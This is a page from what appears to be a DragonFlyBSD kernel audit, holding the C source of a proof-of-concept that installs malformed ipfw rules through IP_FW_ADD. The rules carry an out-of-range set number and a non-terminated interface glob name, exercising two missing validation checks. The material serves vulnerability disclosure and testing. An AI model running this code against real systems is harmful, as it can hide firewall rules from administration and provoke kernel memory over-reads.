⬢ DragonFlyBSD Kernel Audit
DF-3261 / addset.c
← back to finding ↓ download raw
/*
 * DF-3261 / DF-3262 raw ipfw rule installer.
 *
 * Talks IP_FW_ADD directly (same getsockopt path as ipfw(8), ip_fw2.c:6576)
 * so the `set` byte and the O_VIA name[] bytes can be set to values the
 * CLI cannot express:
 *
 *  DF-3261: set = 40 (>= IPFW_DEFAULT_SET=32).  ipfw_check_ioc_rule never
 *           validates it (ip_fw2.c:5311-5520); classification computes
 *           ipfw_set_disable & (1 << f->set) with f->set=40 (ip_fw2.c:3601)
 *           -- x86 masks the shift to 1<<8, so the rule silently belongs
 *           to set 8 for enable/disable purposes while `ipfw set move`
 *           (which compares the raw byte) can never address it.
 *
 *  DF-3262: an O_VIA/O_RECV/O_XMIT instruction whose 16-byte trailing name
 *           has NO NUL byte (validation at ip_fw2.c:5480-5483 only checks
 *           the instruction length, never the termination); with
 *           p.glob=1, iface_match() feeds kfnmatch(cmd->name,...) a
 *           non-terminated pattern (ip_fw2.c:1355).
 *
 * usage:
 *   addset <set> <rulenum>            -- minimal count rule in <set>
 *   addset via <rulenum> <name16>     -- O_VIA glob rule, 16-byte raw name
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

/* mirrored from sys/net/ipfw/ip_fw2.h (kernel header, kept in sync) */
struct ioc_rule_hdr {
	uint16_t act_ofs;
	uint16_t cmd_len;
	uint16_t rulenum;
	uint8_t  set;
	uint8_t  usr_flags;
	uint32_t set_disable;
	uint32_t static_count;
	uint32_t static_len;
	uint64_t pcnt;
	uint64_t bcnt;
	uint32_t timestamp;
	uint8_t  reserved[16];
	/* cmd[] follows: uint32_t words */
};

struct insn {
	uint8_t opcode;
	uint8_t len;
	uint16_t arg1;
};

enum {
	O_COUNT = 105 - 105 + 105,   /* placeholder replaced below */
};
/* exact enum values from sys/net/ipfw/ip_fw2.h (verified by parsing) */
#define OPC_VIA		19
#define OPC_COUNT	46

#define IOC_RULE_HDR_WORDS 15   /* cmd[1] is embedded at byte 60: header words before it = 15 */

static uint32_t buf[256];

static void install(struct ioc_rule_hdr *r, int total_bytes)
{
	int s, i;

	i = total_bytes;
	s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (s < 0) { perror("socket"); exit(2); }
	{
		int w;
		fprintf(stderr, "send %d bytes:", i);
		for (w = 0; w < i / 4 && w < 20; w++)
			fprintf(stderr, " %08x", buf[w]);
		fprintf(stderr, "\n");
	}
	if (getsockopt(s, IPPROTO_IP, IP_FW_ADD, r, &i) < 0) {
		int ge = errno;
		if (setsockopt(s, IPPROTO_IP, IP_FW_ADD, r, i) < 0) {
			fprintf(stderr, "IP_FW_ADD failed: get %s / set %s\n",
				strerror(ge), strerror(errno));
			exit(1);
		}
		printf("(installed via setsockopt)\n");
	}
	printf("installed: rulenum %u set %u act_ofs %u cmd_len %u\n",
	       r->rulenum, r->set, r->act_ofs, r->cmd_len);
}

int main(int argc, char **argv)
{
	struct ioc_rule_hdr *r = (struct ioc_rule_hdr *)buf;
	struct insn *c;

	if (argc >= 4 && !strcmp(argv[1], "via")) {
		/* O_VIA (6 words) + O_COUNT (1 word); name = argv[3] raw 16B */
		const char *nm = argv[3];
		memset(buf, 0, sizeof(buf));
		r->rulenum = atoi(argv[2]);
		r->set = 0;
		r->cmd_len = 7;
		r->act_ofs = 6;                    /* action = O_COUNT at word 6 */
		c = (struct insn *)&buf[IOC_RULE_HDR_WORDS];
		c->opcode = OPC_VIA; c->len = 6; c->arg1 = 0;
		{
			struct via_insn {
				struct insn i;
				uint8_t glob;
				uint8_t flags;
				char name[16];
			} *v = (struct via_insn *)&buf[IOC_RULE_HDR_WORDS];
			v->glob = 1;                   /* p.glob -> kfnmatch path */
			memcpy(v->name, nm, 16);       /* NO NUL termination */
		}
		c = (struct insn *)&buf[IOC_RULE_HDR_WORDS + 6];
		c->opcode = OPC_COUNT; c->len = 1;
		install(r, 4 * (IOC_RULE_HDR_WORDS + 7));
		return 0;
	}

	if (argc >= 3 && strcmp(argv[1], "via")) {
		memset(buf, 0, sizeof(buf));
		r->rulenum = atoi(argv[2]);
		r->set = (uint8_t)strtoul(argv[1], NULL, 0);
		r->cmd_len = 1;
		r->act_ofs = 0;
		c = (struct insn *)&buf[IOC_RULE_HDR_WORDS];
		c->opcode = OPC_COUNT; c->len = 1;
		install(r, 4 * (IOC_RULE_HDR_WORDS + 1));
		return 0;
	}

	fprintf(stderr, "usage: addset <set> <rulenum> | addset via <rulenum> <16-byte-name>\n");
	return 2;
}